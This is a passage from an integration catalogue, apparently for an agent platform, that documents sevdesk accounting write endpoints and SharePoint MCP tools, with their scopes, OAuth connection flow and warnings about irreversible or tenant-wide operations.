/AccountingContact/{accountingContactId}. Attention, updating an existing AccountingContact can lead to **booking errors**, especially in the **DATEV export**. Compatibility of sevdesk with DATEV is no longer guaranteed. PUT /api/v1/sevdesk/AccountingContact/{accountingContactId}. Scopes: api. sevdesk_put_checkaccount_by_checkaccountid (write) — Update an existing check account via PUT /CheckAccount/{checkAccountId}. Update a check account PUT /api/v1/sevdesk/CheckAccount/{checkAccountId}. Scopes: api. sevdesk_put_checkaccounttransaction_by_checkaccounttransactionid (write) — Update an existing check account transaction via PUT /CheckAccountTransaction/{checkAccountTransactionId}. Update a check account transaction PUT /api/v1/sevdesk/CheckAccountTransaction/{checkAccountTransactionId}. Scopes: api. sevdesk_put_checkaccounttransaction_by_checkaccounttransactionid_enshrine (write) — Check Account Transaction Enshrine via PUT /CheckAccountTransaction/{checkAccountTransactionId}/enshrine. Sets the current date and time as a value for the property `enshrined`.<br> This operation is only possible if the status is "Linked" (`"status": "200"`) or higher. Linked invoices, credit notes or vouchers cannot be changed when the transaction is enshrined. Enshrining is IRREVERSIBLE: it seals the record for bookkeeping and sevDesk offers no un-enshrine. The document can no longer be edited or deleted afterwards. PUT /api/v1/sevdesk/CheckAccountTransaction/{checkAccountTransactionId}/enshrine. Scopes: api. sevdesk_put_communicationway_by_communicationwayid (write) — Update a existing communication way via PUT /CommunicationWay/{communicationWayId}. Update a communication way PUT /api/v1/sevdesk/CommunicationWay/{communicationWayId}. Scopes: api. sevdesk_put_contact_by_contactid (write) — Update a existing contact via PUT /Contact/{contactId}. Update a contact PUT /api/v1/sevdesk/Contact/{contactId}. Scopes: api. sevdesk_put_contactaddress_by_contactaddressid (write) — update a existing contact address via PUT /ContactAddress/{contactAddressId}. update a existing contact address. PUT /api/v1/sevdesk/ContactAddress/{contactAddressId}. Scopes: api. sevdesk_put_contactcustomfield_by_contactcustomfieldid (write) — Update a contact field via PUT /ContactCustomField/{contactCustomFieldId} PUT /api/v1/sevdesk/ContactCustomField/{contactCustomFieldId}. Scopes: api. sevdesk_put_contactcustomfieldsetting_by_contactcustomfieldsettingid (write) — Update contact field setting via PUT /ContactCustomFieldSetting/{contactCustomFieldSettingId}. Update an existing contact field setting PUT /api/v1/sevdesk/ContactCustomFieldSetting/{contactCustomFieldSettingId}. Scopes: api. sevdesk_put_creditnote_by_creditnoteid (write) — Update an existing creditNote via PUT /CreditNote/{creditNoteId}. Update a creditNote PUT /api/v1/sevdesk/CreditNote/{creditNoteId}. Scopes: api. sevdesk_put_creditnote_by_creditnoteid_bookamount (write) — Book a credit note via PUT /CreditNote/{creditNoteId}/bookAmount. Booking the credit note with a transaction is probably the most important part in the bookkeeping process.<br> There are several ways on correctly booking a credit note, all by using the same endpoint.<br> Conveniently, the booking process is exactly the same as the process for invoices and vouchers.<br> For this reason, you can have a look at it in the <a href='#tag/Invoice/How-to-book-an-invoice'>invoice chapter</a> and all you need to do is to change "Invoice" into "CreditNote" in the URL. PUT /api/v1/sevdesk/CreditNote/{creditNoteId}/bookAmount. Scopes: api. sevdesk_put_creditnote_by_creditnoteid_changeparameter (write) — Update an of credit note template via PUT /CreditNote/{creditNoteId}/changeParameter. Update an existing of credit note template PUT /api/v1/sevdesk/CreditNote/{creditNoteId}/changeParameter. Scopes: api. sevdesk_put_creditnote_by_creditnoteid_enshrine (write) — Credit Note Enshrine via PUT /CreditNote/{creditNoteId}/enshrine. Sets the current date and time as a value for the property `enshrined`.<br> This operation is only possible if the status is "Open" (`"status": "200"`) or higher. Enshrined credit notes cannot be changed. This operation cannot be undone. Enshrining is IRREVERSIBLE: it seals the record for bookkeeping and sevDesk offers no un-enshrine. The document can no longer be edited or deleted afterwards. PUT /api/v1/sevdesk/CreditNote/{creditNoteId}/enshrine. Scopes: api. sevdesk_put_creditnote_by_creditnoteid_resettodraft (write) — Credit Note Reset To Draft via PUT /CreditNote/{creditNoteId}/resetToDraft. Resets the status to "Draft" (`"status": "100"`).<br> This is only possible if the credit note has the status "Open" (`"status": "200"`).<br> If it has a higher status use [CreditNote/{creditNoteId}/resetToOpen](#tag/CreditNote/operation/creditNoteResetToOpen) first. PUT /api/v1/sevdesk/CreditNote/{creditNoteId}/resetToDraft. Scopes: api. sevdesk_put_creditnote_by_creditnoteid_resettoopen (write) — Credit Note Reset To Open via PUT /CreditNote/{creditNoteId}/resetToOpen. Resets the status "Open" (`"status": "200"`). Linked transactions will be unlinked.<br> This is not possible if the credit note itself or one of its transactions (CheckAccountTransaction) is already enshrined. This endpoint cannot be used to increase the status to "Open" (`"status": "200"`).<br> Use [CreditNote/{creditNoteId}/sendBy](#tag/CreditNote/operation/creditNoteSendBy) / [CreditNote/{creditNoteId}/sendViaEmail](#tag/CreditNote/operation/sendCreditNoteViaEMail) instead. PUT /api/v1/sevdesk/CreditNote/{creditNoteId}/resetToOpen. Scopes: api. sevdesk_put_creditnote_by_creditnoteid_sendby (write) — Mark credit note as sent via PUT /CreditNote/{creditNoteId}/sendBy. Marks an credit note as sent by a chosen send type. PUT /api/v1/sevdesk/CreditNote/{creditNoteId}/sendBy. Scopes: api. sevdesk_put_invoice_by_invoiceid_bookamount (write) — Book an invoice via PUT /Invoice/{invoiceId}/bookAmount. Booking the invoice with a transaction is probably the most important part in the bookkeeping process.<br> There are several ways on correctly booking an invoice, all by using the same endpoint.<br> for more information look <a href='#tag/Invoice/How-to-book-an-invoice'>here</a>. PUT /api/v1/sevdesk/Invoice/{invoiceId}/bookAmount. Scopes: api. sevdesk_put_invoice_by_invoiceid_changeparameter (write) — Update an invoice template via PUT /Invoice/{invoiceId}/changeParameter. Update an existing invoice template PUT /api/v1/sevdesk/Invoice/{invoiceId}/changeParameter. Scopes: api. sevdesk_put_invoice_by_invoiceid_enshrine (write) — Invoice Enshrine via PUT /Invoice/{invoiceId}/enshrine. Sets the current date and time as a value for the property `enshrined`.<br> This operation is only possible if the status is "Open" (`"status": "200"`) or higher. Enshrined invoices cannot be changed. This operation cannot be undone. Enshrining is IRREVERSIBLE: it seals the record for bookkeeping and sevDesk offers no un-enshrine. The document can no longer be edited or deleted afterwards. PUT /api/v1/sevdesk/Invoice/{invoiceId}/enshrine. Scopes: api. sevdesk_put_invoice_by_invoiceid_resettodraft (write) — Invoice Reset To Draft via PUT /Invoice/{invoiceId}/resetToDraft. Resets the status to "Draft" (`"status": "100"`).<br> This is only possible if the invoice has the status "Open" (`"status": "200"`).<br> If it has a higher status use [Invoice/{invoiceId}/resetToOpen](#tag/Invoice/operation/invoiceResetToOpen) first. This endpoint cannot be used for recurring invoices (`"invoiceType": "WKR"`).<br> Use [Invoice/Factory/saveInvoice](#tag/Invoice/operation/createInvoiceByFactory) instead. PUT /api/v1/sevdesk/Invoice/{invoiceId}/resetToDraft. Scopes: api. sevdesk_put_invoice_by_invoiceid_resettoopen (write) — Invoice Reset To Open via PUT /Invoice/{invoiceId}/resetToOpen. Resets the status "Open" (`"status": "200"`). Linked transactions will be unlinked.<br> This is not possible if the invoice itself or one of its transactions (CheckAccountTransaction) is already enshrined. This endpoint cannot be used to increase the status to "Open" (`"status": "200"`).<br> Use [Invoice/{invoiceId}/sendBy](#tag/Invoice/operation/invoiceSendBy) / [Invoice/{invoiceId}/sendViaEmail](#tag/Invoice/operation/sendInvoiceViaEMail) instead. This endpoint cannot be used for recurring invoices (`"invoiceType": "WKR"`). Use [Invoice/Factory/saveInvoice](#tag/Invoice/operation/createInvoiceByFactory) instead. PUT /api/v1/sevdesk/Invoice/{invoiceId}/resetToOpen. Scopes: api. sevdesk_put_invoice_by_invoiceid_sendby (write) — Mark invoice as sent via PUT /Invoice/{invoiceId}/sendBy. Marks an invoice as sent by a chosen send type. PUT /api/v1/sevdesk/Invoice/{invoiceId}/sendBy. Scopes: api. sevdesk_put_order_by_orderid (write) — Update an existing order via PUT /Order/{orderId}. Update an order PUT /api/v1/sevdesk/Order/{orderId}. Scopes: api. sevdesk_put_order_by_orderid_changeparameter (write) — Update an order template via PUT /Order/{orderId}/changeParameter. Update an existing order template PUT /api/v1/sevdesk/Order/{orderId}/changeParameter. Scopes: api. sevdesk_put_order_by_orderid_sendby (write) — Mark order as sent via PUT /Order/{orderId}/sendBy. Marks an order as sent by a chosen send type. PUT /api/v1/sevdesk/Order/{orderId}/sendBy. Scopes: api. sevdesk_put_orderpos_by_orderposid (write) — Update an existing order position via PUT /OrderPos/{orderPosId}. Update an order position PUT /api/v1/sevdesk/OrderPos/{orderPosId}. Scopes: api. sevdesk_put_part_by_partid (write) — Update an existing part via PUT /Part/{partId}. Update a part PUT /api/v1/sevdesk/Part/{partId}. Scopes: api. sevdesk_put_sevclient_by_sevclientid_updateexportconfig (write) — Update export config via PUT /SevClient/{SevClientId}/updateExportConfig. Update export config to export DATEV PUT /api/v1/sevdesk/SevClient/{SevClientId}/updateExportConfig. Scopes: api. sevdesk_put_tag_by_tagid (write) — Update tag via PUT /Tag/{tagId}. Update an existing tag PUT /api/v1/sevdesk/Tag/{tagId}. Scopes: api. sevdesk_put_voucher_by_voucherid (write) — Update an existing voucher via PUT /Voucher/{voucherId}. Update a draft voucher using this method if you want to change simple values like the description. Complex changes like adding a position should use /Voucher/Factory/saveVoucher.<br> You can not change the status using this endpoint. PUT /api/v1/sevdesk/Voucher/{voucherId}. Scopes: api. sevdesk_put_voucher_by_voucherid_bookamount (write) — Book a voucher via PUT /Voucher/{voucherId}/bookAmount. Booking the voucher with a transaction is probably the most important part in the bookkeeping process.<br> There are several ways on correctly booking a voucher, all by using the same endpoint.<br> Conveniently, the booking process is exactly the same as the process for invoices.<br> For this reason, you can have a look at it <a href='#tag/Invoice/How-to-book-an-invoice'>here</a> and all you need to do is to change "Invoice" into "Voucher" in the URL. PUT /api/v1/sevdesk/Voucher/{voucherId}/bookAmount. Scopes: api. sevdesk_put_voucher_by_voucherid_enshrine (write) — Voucher Enshrine via PUT /Voucher/{voucherId}/enshrine. Sets the current date and time as a value for the property `enshrined`.<br> This operation is only possible if the status is "Open" (`"status": "100"`) or higher. Enshrined vouchers cannot be changed. This operation cannot be undone. Enshrining is IRREVERSIBLE: it seals the record for bookkeeping and sevDesk offers no un-enshrine. The document can no longer be edited or deleted afterwards. PUT /api/v1/sevdesk/Voucher/{voucherId}/enshrine. Scopes: api. sevdesk_put_voucher_by_voucherid_resettodraft (write) — Voucher Reset To Draft via PUT /Voucher/{voucherId}/resetToDraft. Resets the status "Draft" (`"status": "50"`). Linked payments will be unlinked. Created asset depreciation will be reset.<br> This is not possible if the voucher is already enshrined! You can only change the status from higher to lower ("Open" to "Draft").<br> To change to higher status use [/Voucher/Factory/saveVoucher](#tag/Voucher/operation/voucherFactorySaveVoucher). PUT /api/v1/sevdesk/Voucher/{voucherId}/resetToDraft. Scopes: api. sevdesk_put_voucher_by_voucherid_resettoopen (write) — Voucher Reset To Open via PUT /Voucher/{voucherId}/resetToOpen. Resets the status to "Open" (`"status": "100"`). Linked payments will be unlinked. Created asset depreciation will be reset.<br> This is not possible if the voucher is already enshrined! This endpoint can not be used to increase the status from "Draft" to "Open".<br> You can only change the status from higher to lower ("Open" to "Draft").<br> To change to higher status use [Voucher/{voucherId}/bookAmount](#tag/Voucher/operation/bookVoucher). To change to lower status use [Voucher/{voucherId}/resetToDraft](#tag/Voucher/operation/voucherResetToDraft). PUT /api/v1/sevdesk/Voucher/{voucherId}/resetToOpen. Scopes: api. ================================================================================ ## SharePoint URL: https://www.agenticfabriq.com/integrations/sharepoint Section: Integrated Tools SharePoint — 148 MCP tools Provider key: sharepoint. Scopes: SharePointTenantSettings.Read.All, Sites.Create.All, Sites.FullControl.All, Sites.Manage.All, Sites.Read.All, Sites.ReadWrite.All, TermStore.Read.All, TermStore.ReadWrite.All. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. sharepoint_add_content_type_copy (write) — NEEDS A NEW ADMIN CONSENT GRANT (Sites.Manage.All). Copy an existing content type onto a site or list — how a library is made to accept a document type it did not previously accept, and the normal alternative to creating one from scratch, since most of the time the type already exists somewhere and only needs applying. Check first which content types the list will accept: SharePoint will not put a document content type on a plain list and the refusal does not explain itself. POST /api/v1/tools/sharepoint/content-types/add-copy. Scopes: Sites.Manage.All. sharepoint_add_content_type_copy_from_hub (write) — NEEDS A NEW ADMIN CONSENT GRANT (Sites.Manage.All). Pull a published content type down from the content type hub — and this is also the SYNC operation: running it again on a type already present updates the local copy to match the hub. That is how an organisation-wide records schema reaches a site created after the schema was. ASYNCHRONOUS: Microsoft accepts and performs it in the background, so this reports accepted rather than done, and the site operations read shows whether it finished. POST /api/v1/tools/sharepoint/content-types/add-copy-from-hub. Scopes: Sites.Manage.All. sharepoint_archive_site (write, destructive) — DESTRUCTIVE — THE WHOLE SITE BECOMES READ-ONLY FOR EVERYBODY. This is not a delete and nothing is lost, but it is the widest single switch available without a new admin grant: an archived site stops accepting writes from every user, every workflow and every integration at once, and people who were mid-task find out by being refused. IT IS REVERSIBLE, which is why it ships — sharepoint_unarchive_site is in this same migration — but reactivation is not instant, so the site stays read-only for a while after the call succeeds. BETA. POST /api/v1/tools/sharepoint/site/archive. Scopes: Sites.ReadWrite.All. sharepoint_associate_content_type_with_hub_sites (write, destructive) — DESTRUCTIVE BY REACH, AND NEEDS A NEW ADMIN CONSENT GRANT (Sites.Manage.All). Associating means the content type is APPLIED TO THE LISTS IN EVERY SITE ATTACHED TO THOSE HUBS, which for a large hub is an unbounded number of libraries belonging to teams who were not asked. Propagating to existing lists extends that to lists that already exist, not only new ones. POST /api/v1/tools/sharepoint/content-type/associate-hub-sites. Scopes: Sites.Manage.All. sharepoint_checkin_file (write) — Release a checked-out document — the inverse of checking one out, and it ships in the same migration for a concrete reason: a check-out with no check-in is a document nobody else can edit until an administrator intervenes. Checking in as a published version rather than a draft is off by default, because on a library with an approval flow that is the difference between saved and visible to everyone. POST /api/v1/tools/sharepoint/library/file/checkin. Scopes: Sites.ReadWrite.All. sharepoint_checkout_file (write) — Check a document out so nobody else edits it while an agent works on it. Nothing is lost and checking in reverses it, so it is not marked destructive — but READ THIS BEFORE GRANTING IT: a checkout the agent never releases BLOCKS EVERY OTHER USER from editing that document until a site administrator discards it. The safe shape is check out, upload, check in, and an agent that cannot finish should check in anyway rather than leave the lock. POST /api/v1/tools/sharepoint/library/file/checkout. Scopes: Sites.ReadWrite.All. sharepoint_copy_content_type_to_default_content_location (write) — NEEDS A NEW ADMIN CONSENT GRANT (Sites.Manage.All). Copy a file into a content type default content location, so that every document set created from that type afterwards starts with a copy of it — how an organisation puts a standard cover sheet or checklist into every new matter folder. Additive. The source file is identified by its listItemUniqueId, which sharepoint_get_file_list_item and sharepoint_get_list_item_sharepoint_ids produce. POST /api/v1/tools/sharepoint/content-type/copy-to-default-location. Scopes: Sites.Manage.All. sharepoint_copy_file (write) — Copy a document or folder within a library. ADDITIVE: the source is untouched and the conflict behaviour is pinned so a copy can never overwrite something already at the destination — which is why this is not destructive while moving is. Microsoft performs the copy ASYNCHRONOUSLY and answers accepted before it has happened, so this waits for the real outcome and reports still running honestly rather than calling an unfinished copy a success. Microsoft does not copy item permissions with the content: treat the copy as new content, not as a clone. POST /api/v1/tools/sharepoint/library/file/copy. Scopes: Sites.ReadWrite.All. sharepoint_create_column (write) — NEEDS A NEW ADMIN CONSENT GRANT (Sites.Manage.All). Add a column at site, list or content-type scope. Additive on its own — it adds an empty field to every existing item rather than changing one — WITH ONE EXCEPTION WORTH PAUSING ON: marking it required makes every future write to that list fail unless it carries the new field, including writes from workflows and integrations that predate the column. POST /api/v1/tools/sharepoint/columns. Scopes: Sites.Manage.All. sharepoint_create_content_type (write) — NEEDS A NEW ADMIN CONSENT GRANT (Sites.Manage.All). Create a content type on a site or a list, derived from a parent such as Document, Item or Document Set. Additive, and its inverse ships in the same migration. POST /api/v1/tools/sharepoint/content-types. Scopes: Sites.Manage.All. sharepoint_create_document_set_version (write) — Capture a version of a document set — a snapshot of an entire folder of documents plus its metadata, which is how records-managed SharePoint records the state of this matter as at the closing date. Additive: it changes nothing that exists. The connector could already READ the history of these snapshots and could not take one. POST /api/v1/tools/sharepoint/list/item/document-set-versions. Scopes: Sites.ReadWrite.All. sharepoint_create_folder (write) — Create a folder in a document library. Purely additive, and it closes a real gap: the upload action own contract says folders in the path must already exist, so the one action that could put a document in the right place could not create that place. Conflict behaviour defaults to FAIL so an existing folder is never silently replaced by a call that meant to create one. POST /api/v1/tools/sharepoint/library/folders. Scopes: Sites.ReadWrite.All. sharepoint_create_list (write) — NEEDS A NEW ADMIN CONSENT GRANT (Sites.Manage.All) — Microsoft offers no lower tier and Sites.ReadWrite.All does not reach it. Create a new list or document library on a site. Additive, and it touches nothing that exists. IT HAS NO INVERSE: Microsoft Graph publishes no delete and no rename for a list, in version 1.0 or beta, so a list created by mistake has to be removed by a person in SharePoint. The template decides which columns the list is born with and cannot be changed afterwards. POST /api/v1/tools/sharepoint/lists. Scopes: Sites.Manage.All. sharepoint_create_list_item (write) — Create one new item (row) in a SharePoint list from a set of column values. Additive — every existing item is left untouched, which is why this is not marked destructive. Column values must use internal names from the read-columns action. POST /api/v1/tools/sharepoint/list/items. Scopes: Sites.ReadWrite.All. sharepoint_create_page (write) — Create a site page. It is created as a DRAFT and is not visible to anybody until it is published, so this touches nothing that exists and is not marked destructive. Its inverse — deleting a page — ships in the same migration. POST /api/v1/tools/sharepoint/pages. Scopes: Sites.ReadWrite.All. sharepoint_create_page_horizontal_section (write) — Add a horizontal section — a row — to a site page layout. Additive, and it lands in the page DRAFT, invisible to readers until the page is published. Together with the web part actions this is what makes editing a page surgical: updating a page canvas layout is a FULL REPLACE and silently deletes every section not included, and these actions avoid that entirely. POST /api/v1/tools/sharepoint/page/sections. Scopes: Sites.ReadWrite.All. sharepoint_create_page_vertical_section (write) — Add the vertical section — the sidebar rail — to a site page. Additive. There is at most one per page and asking for a second is refused by Microsoft Graph. POST /api/v1/tools/sharepoint/page/vertical-section. Scopes: Sites.ReadWrite.All. sharepoint_create_page_webpart (write) — Add ONE web part to a site page without rewriting the layout. THIS IS THE ACTION THAT MAKES UPDATING A WHOLE PAGE A LAST RESORT: the page update replaces the canvas layout wholesale, so anything not included is deleted with no warning, while this adds one thing and leaves everything else alone. The change lands in the DRAFT. Microsoft rejects a web part type it does not recognise, and the error does not list the ones it does, so copy the shape from an existing part. POST /api/v1/tools/sharepoint/page/webparts. Scopes: Sites.ReadWrite.All. sharepoint_create_share_link (write, destructive) — DESTRUCTIVE — create a sign-in-required sharing link for a document or folder, granting durable access to people who did not have it. THE SCOPE ARGUMENT IS REQUIRED AND HAS NO DEFAULT, which is the important part: Microsoft own default is the organisation default link type, and in a permissively configured tenant that is an ANONYMOUS link — a URL that serves the document to anyone holding it with no sign-in and, per Microsoft own documentation, with no expiry unless a tenant policy adds one. Anonymous is refused outright here. Only organization and users are accepted, both of which require the recipient to sign in, so the access is attributable, visible to sharepoint_list_file_permissions and revocable with sharepoint_delete_file_permission. Note the item may be a FOLDER, in which case the link reaches everything beneath it including documents added later. PASSING retain_inherited_permissions=false ALSO REQUIRES confirm_permission_reset='remove-all-existing-permissions' — it wipes every permission the item already carries and is a separate decision from confirm. POST /api/v1/tools/sharepoint/library/file/share-link. Scopes: Sites.ReadWrite.All. sharepoint_create_site (write, destructive) — DESTRUCTIVE BY INTENT, AND NEEDS A NEW ADMIN CONSENT GRANT (Sites.Create.All). Provision a new SharePoint site. A site is not a record: it is a container with a URL, a membership model, a storage quota and an entry in the tenant site inventory. MICROSOFT GRAPH PUBLISHES NO DELETE AND NO RENAME FOR A SITE, in version 1.0 or beta — checked against Microsoft own methods table rather than assumed — so removing one afterwards is a SharePoint administrator task outside this API entirely. Site creation is also GOVERNED by tenant policy, which sharepoint_get_tenant_settings reads if that grant is enabled. BETA. POST /api/v1/tools/sharepoint/sites. Scopes: Sites.Create.All. sharepoint_create_term (write) — NEEDS A NEW ADMIN CONSENT GRANT (TermStore.ReadWrite.All). Create a term at the top of a set or under another term. Additive: it widens what a managed-metadata column will accept, tenant-wide, which is worth knowing but is not a loss. Its inverse ships alongside. POST /api/v1/tools/sharepoint/term-store/terms. Scopes: TermStore.ReadWrite.All. sharepoint_create_term_group (write) — NEEDS A NEW ADMIN CONSENT GRANT (TermStore.ReadWrite.All). Create a term group — the top level of a taxonomy. Additive, and its inverse ships in this same migration. POST /api/v1/tools/sharepoint/term-store/groups. Scopes: TermStore.ReadWrite.All. sharepoint_create_term_relation (write) — NEEDS A NEW ADMIN CONSENT GRANT (TermStore.ReadWrite.All). Pin or reuse a term into another term set. Additive — it adds a relation and moves nothing. MICROSOFT GRAPH PUBLISHES NO DELETE FOR A RELATION, in version 1.0 or beta, so this is one of the few writes here whose inverse does not exist at all. POST /api/v1/tools/sharepoint/term-store/relations. Scopes: TermStore.ReadWrite.All. sharepoint_create_term_set (write) — NEEDS A NEW ADMIN CONSENT GRANT (TermStore.ReadWrite.All). Create a term set inside a group — the vocabulary a managed-metadata column will draw from. Additive, and its inverse ships alongside. POST /api/v1/tools/sharepoint/term-store/sets. Scopes: TermStore.ReadWrite.All. sharepoint_delete_column (write, destructive) — DESTRUCTIVE, NEEDS A NEW ADMIN CONSENT GRANT (Sites.Manage.All), AND IT HAS NO INVERSE ANYWHERE. Deleting a list column BLANKS THAT COLUMN ON EVERY ROW AT ONCE. Schema does not go to the recycle bin, so the recycle-bin read will not show it and no administrator and no Microsoft support case can put the values back; recreating a column of the same name gives you an empty column. This is one of three actions in this connector with no way back — the others are permanently deleting a file and deleting a term set. If your organisation does not want an agent able to do this, do not grant this one action. DELETE /api/v1/tools/sharepoint/column. Scopes: Sites.Manage.All. sharepoint_delete_content_type (write, destructive) — DESTRUCTIVE, AND NEEDS A NEW ADMIN CONSENT GRANT (Sites.Manage.All). The inverse of creating one. SharePoint refuses to delete a content type still in use, which is a genuine safety net, but the refusal arrives as a Microsoft Graph error rather than a list of what is using it. The content type does not go to the recycle bin. DELETE /api/v1/tools/sharepoint/content-type. Scopes: Sites.Manage.All. sharepoint_delete_file (write, destructive) — DESTRUCTIVE — delete a file or folder from a document library. Wider than it looks: deleting a folder deletes everything beneath it. The item goes to the site recycle bin, from which Microsoft Graph exposes no restore. DELETE /api/v1/tools/sharepoint/library/files. Scopes: Sites.ReadWrite.All. sharepoint_delete_file_permission (write, destructive) — DESTRUCTIVE — remove one permission from a document. THE INVERSE OF SHARING, and the only action here that can take back an anonymous link somebody created in the SharePoint interface, which makes it a net risk reduction rather than an added risk. THE HAZARD PEOPLE FORGET: removing an INHERITED permission on a folder where inheritance was broken can lock an entire team out of its own library, and Microsoft Graph will not say in advance which case it is. Read the permissions first and look at whether they are inherited. DELETE /api/v1/tools/sharepoint/library/file/permission. Scopes: Sites.ReadWrite.All. sharepoint_delete_list_item (write, destructive) — DESTRUCTIVE — delete one item from a SharePoint list. The item goes to the site recycle bin, where a site collection administrator can restore it for 93 days by default, but Microsoft Graph exposes no restore call: Agentic Fabriq cannot undo this and neither can the agent that did it. The retention window is a tenant setting and may be shorter. DELETE /api/v1/tools/sharepoint/list/items. Scopes: Sites.ReadWrite.All. sharepoint_delete_page (write, destructive) — DESTRUCTIVE — delete a site page. It goes to the site recycle bin, where a site collection administrator can restore it; Microsoft Graph exposes no restore, so Agentic Fabriq cannot. This is the inverse of both creating a page and publishing one, because Microsoft Graph has no unpublish. DELETE /api/v1/tools/sharepoint/page. Scopes: Sites.ReadWrite.All. sharepoint_delete_page_horizontal_section (write, destructive) — DESTRUCTIVE — delete one horizontal section of a page, taking its columns and every web part in them. There is no recycle bin below page level, so nothing here or in SharePoint restores the content. If the page was already published the change is not visible to readers until it is published again. DELETE /api/v1/tools/sharepoint/page/section. Scopes: Sites.ReadWrite.All. sharepoint_delete_page_vertical_section (write, destructive) — DESTRUCTIVE — delete a page vertical section and every web part in it. Nothing goes to a recycle bin. DELETE /api/v1/tools/sharepoint/page/vertical-section. Scopes: Sites.ReadWrite.All. sharepoint_delete_page_webpart (write, destructive) — DESTRUCTIVE — delete ONE web part from a page. A text web part content is the page own words and nothing restores it: there is no recycle bin below page level. Read it first if the content might be wanted. DELETE /api/v1/tools/sharepoint/page/webpart. Scopes: Sites.ReadWrite.All. sharepoint_delete_term (write, destructive) — DESTRUCTIVE, TENANT-WIDE, NOT RESTORABLE, AND NEEDS A NEW ADMIN CONSENT GRANT (TermStore.ReadWrite.All). Deleting a term blanks the managed-metadata value on every item across every site that used it, and it takes the term CHILDREN with it, so removing a mid-level term of a deep vocabulary removes the branch. There is no taxonomy recycle bin. DELETE /api/v1/tools/sharepoint/term-store/term. Scopes: TermStore.ReadWrite.All. sharepoint_delete_term_group (write, destructive) — DESTRUCTIVE AND TENANT-WIDE, AND NEEDS A NEW ADMIN CONSENT GRANT (TermStore.ReadWrite.All). TAXONOMY HAS NO RECYCLE BIN. A group holds term sets and those hold terms, so every managed-metadata column anywhere in the tenant that points at one of them loses its vocabulary. SharePoint generally refuses to delete a group that still contains sets, which is the safety net, but that refusal is a Microsoft Graph error rather than a warning with a list attached. DELETE /api/v1/tools/sharepoint/term-store/group. Scopes: TermStore.ReadWrite.All. sharepoint_delete_term_set (write, destructive) — DESTRUCTIVE, TENANT-WIDE, NOT RESTORABLE, AND NEEDS A NEW ADMIN CONSENT GRANT (TermStore.ReadWrite.All). Deleting a term set destroys the vocabulary that EVERY managed-metadata column pointing at it draws from — on every site, in every library, at once. There is no taxonomy recycle bin, so neither Agentic Fabriq nor an administrator can put it back. This is one of three actions in this connector with no way back, and it is the widest of the three. DELETE /api/v1/tools/sharepoint/term-store/set. Scopes: TermStore.ReadWrite.All. sharepoint_discard_checkout (write, destructive) — Release a checked-out document AND THROW AWAY every change made since it was checked out. The third exit from a checkout and the one a failing agent needs: checking in COMMITS whatever was written and makes a version of it, and simply abandoning the checkout leaves the document locked so nobody else can edit it. WHAT THIS DISCARDS CANNOT BE RECOVERED — the draft never became a version, so neither the version history nor the recycle bin has it. The document reverts to its state at checkout. Answers 423 if somebody else holds the checkout, which a signed-in user cannot discard. POST /api/v1/tools/sharepoint/library/file/discard-checkout. Scopes: Sites.ReadWrite.All. sharepoint_download_file (read) — Read one document CONTENT out of a library, returned base64-encoded. THE LARGEST FUNCTIONAL HOLE THIS CONNECTOR HAD: it could upload a document into a library — an upsert, so it could REPLACE one — and could not read a document back. Pure read, no state change. Documents above 25 MB are refused rather than truncated, because the bytes land in an agent context window. GET /api/v1/tools/sharepoint/library/file/content. Scopes: Sites.Read.All. sharepoint_download_file_by_path (read) — Read a document CONTENT addressed by the library-relative PATH a human would paste, in one call instead of resolving the path to an id and then downloading it. Same permission and same size ceiling as sharepoint_download_file. Refuses a folder path rather than returning an empty result. The bytes are base64-encoded into the tool result and land in an agent context window, so documents above the connector ceiling are refused rather than truncated. GET /api/v1/tools/sharepoint/library/file/content-by-path. Scopes: Sites.Read.All. sharepoint_download_file_version (read) — Read the content of one PAST version of a document, base64-encoded. The read that makes restoring a version a decision rather than a gamble: the old content can be looked at before it is put back over the current one. GET /api/v1/tools/sharepoint/library/file/version/content. Scopes: Sites.Read.All. sharepoint_follow_site (write) — Follow a site so it appears in the signed-in user own SharePoint. It changes one person navigation and nothing else. BETA. POST /api/v1/tools/sharepoint/site/follow. Scopes: Sites.ReadWrite.All. sharepoint_get_applicable_content_types_for_list (read) — List the content types that MAY be added to one list. The precondition read for copying a content type onto a library: SharePoint will not accept a document content type on a plain list, and the refusal does not explain itself. Microsoft publishes this function precisely so a caller does not have to discover the rule by being refused. GET /api/v1/tools/sharepoint/list/applicable-content-types. Scopes: Sites.Read.All. sharepoint_get_column (read) — Read ONE column definition at site, list or content-type scope, including the INTERNAL name a write must use and exactly one type facet. Which scope you ask matters: the same column can be required on a content type and optional on the site definition it came from, and that difference is what a caller is trying to establish before a write. GET /api/v1/tools/sharepoint/column. Scopes: Sites.Read.All. sharepoint_get_compatible_hub_content_types (read) — NEEDS A NEW ADMIN CONSENT GRANT (Sites.Manage.All) even though it is a read — Microsoft gates it at the same permission as the writes it precedes. It answers which published hub content types this site or list is actually allowed to take, rather than leaving a caller to try one and be refused. GET /api/v1/tools/sharepoint/content-types/compatible-hub. Scopes: Sites.Manage.All. sharepoint_get_content_type (read) — Read one content type definition, at site scope or list scope. GET /api/v1/tools/sharepoint/content-type. Scopes: Sites.Read.All. sharepoint_get_content_type_base (read) — Read the content type one content type was DERIVED FROM. Content types inherit, and the parent decides what a child may change — trying to remove an inherited column, or to edit a sealed ancestor, fails with a Microsoft Graph error that names none of that. This makes the failure predictable in advance. GET /api/v1/tools/sharepoint/content-type/base. Scopes: Sites.Read.All. sharepoint_get_default_library (read) — Read the site DEFAULT document library — the one called Documents or Shared Documents, which holds the overwhelming majority of what anyone means by the files on that site. Reaching it previously meant listing every library and guessing which one by name, in whatever language the tenant was provisioned in. GET /api/v1/tools/sharepoint/library/default. Scopes: Sites.Read.All. sharepoint_get_drive (read) — Read one document library own metadata, including the storage quota. sharepoint_list_document_libraries returns the collection; this returns one, and the quota is what answers whether an upload will fit before sharepoint_upload_large_file finds out the hard way. GET /api/v1/tools/sharepoint/library/drive. Scopes: Sites.Read.All. sharepoint_get_drive_list (read) — Read the LIST that backs a document library. A library is a list wearing 